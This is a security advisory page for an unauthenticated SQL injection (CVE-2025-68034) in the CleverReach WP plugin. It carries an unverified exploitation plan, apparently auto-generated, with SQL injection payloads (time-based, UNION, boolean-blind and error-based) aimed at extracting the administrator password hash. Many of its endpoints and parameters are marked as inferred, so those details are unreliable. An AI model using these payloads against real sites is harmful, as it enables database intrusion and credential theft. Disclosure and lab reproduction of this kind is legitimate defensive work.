CVE-2025-68034

CleverReach® WP <= 1.5.21 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.5.22
Patched in
16d
Time to patch

Description

The CleverReach® WP plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.21 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.5.21
PublishedJanuary 15, 2026
Last updatedJanuary 30, 2026
Affected plugincleverreach-wp

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting the unauthenticated SQL injection vulnerability in the CleverReach® WP plugin (CVE-2025-68034). ### 1. Vulnerability Summary The CleverReach® WP plugin (<= 1.5.21) fails to properly sanitize and prepare a user-supplied parameter before using …

Show full research plan

This research plan focuses on identifying and exploiting the unauthenticated SQL injection vulnerability in the CleverReach® WP plugin (CVE-2025-68034).

1. Vulnerability Summary

The CleverReach® WP plugin (<= 1.5.21) fails to properly sanitize and prepare a user-supplied parameter before using it in a database query. Specifically, an unauthenticated AJAX handler likely concatenates a request parameter (e.g., form_id, id, or a hash) directly into a SQL statement. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data from the WordPress database, such as administrator password hashes and secret keys.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: The plugin registers wp_ajax_nopriv_ hooks. Based on the plugin's purpose (forms and subscriptions), the likely actions are:
    • cleverreach_ajax_get_form (inferred)
    • cleverreach_subscribe (inferred)
  • Vulnerable Parameter: A parameter such as form_id, crwp_id, or id.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. A CleverReach form may need to be published or a specific shortcode must exist on a page to trigger the script localization that contains the necessary nonce (if enforced).

3. Code Flow (Trace)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action parameter.
  2. Hook Registration: The plugin registers a handler in its main class or an AJAX handler class:
    add_action( 'wp_ajax_nopriv_cleverreach_ajax_get_form', array( $this, 'get_form_callback' ) ); (inferred).
  3. Parameter Extraction: Inside the callback (e.g., get_form_callback), the code retrieves input:
    $form_id = $_POST['form_id'];
  4. Database Sink: The $form_id is passed into a query method without $wpdb->prepare():
    $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}cleverreach_forms WHERE form_id = " . $form_id ); (inferred).
  5. Execution: The SQL injection occurs as the attacker appends UNION SELECT or boolean logic to the $form_id.

4. Nonce Acquisition Strategy

If the nopriv AJAX handler enforces a nonce check (which is common for WP plugins even if they are vulnerable to SQLi), follow these steps:

  1. Locate Script Localization: The plugin likely uses wp_localize_script to pass a nonce to its frontend JS.
  2. Identify Shortcode: Search the source for add_shortcode. Likely: [cleverreach].
  3. Setup Page:
    • wp post create --post_type=page --post_status=publish --post_title="CR Test" --post_content='[cleverreach]' (Note: You may need a valid form ID in the shortcode, e.g., [cleverreach id="1"]).
  4. Extract Nonce:
    • Navigate to the newly created page.
    • Use browser_eval to find the localization object. Look for strings like cleverreach_vars or crwp_ajax.
    • JS Identifier: window.cleverreach_vars?.nonce or window.cr_ajax_object?.security (inferred).

5. Exploitation Strategy

Step 1: Confirm Injection (Time-based)

We will first use a time-based sleep to confirm the vulnerability without needing to know the table structure.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=cleverreach_ajax_get_form&form_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&_wpnonce=[EXTRACTED_NONCE]
    

Step 2: UNION-Based Data Extraction

Once confirmed, we attempt to extract the admin password hash.

  1. Find Column Count: Iterate ORDER BY X until an error or change in response occurs.
  2. Payload:
    action=cleverreach_ajax_get_form&form_id=-1 UNION SELECT 1,2,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
    
    (Adjust column count based on results from Step 1).

6. Test Data Setup

  • Plugin Installation: Ensure cleverreach-wp version 1.5.21 is installed.
  • Database Entry: Since the query likely targets a plugin-specific table, ensure at least one form exists so the original query doesn't return empty before the injection:
    wp db query "INSERT INTO wp_cleverreach_forms (form_id, name) VALUES (1, 'Test Form');" (table name inferred).
  • Published Page: Create a page with the shortcode as described in Section 4.

7. Expected Results

  • Time-based: The server response should be delayed by exactly 5 seconds.
  • UNION-based: The response body (JSON or HTML) will contain a string starting with $P$ or $wp$2y$ (the WordPress password hash for the administrator).

8. Verification Steps

After the exploit, verify the data using WP-CLI:

  1. wp user get 1 --field=user_pass
  2. Compare the hash returned by the HTTP request with the hash retrieved via WP-CLI. If they match, the SQL injection is confirmed.

9. Alternative Approaches

  • Boolean-Based Blind: If the plugin returns different results for "Form Found" vs "Form Not Found" but suppresses SQL errors, use:
    form_id=1 AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)>64
  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to force the hash into an error message:
    form_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
  • Different Actions: If cleverreach_ajax_get_form is not the sink, grep the plugin for wp_ajax_nopriv and check the callbacks for any usage of $wpdb->query or $wpdb->get_results.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.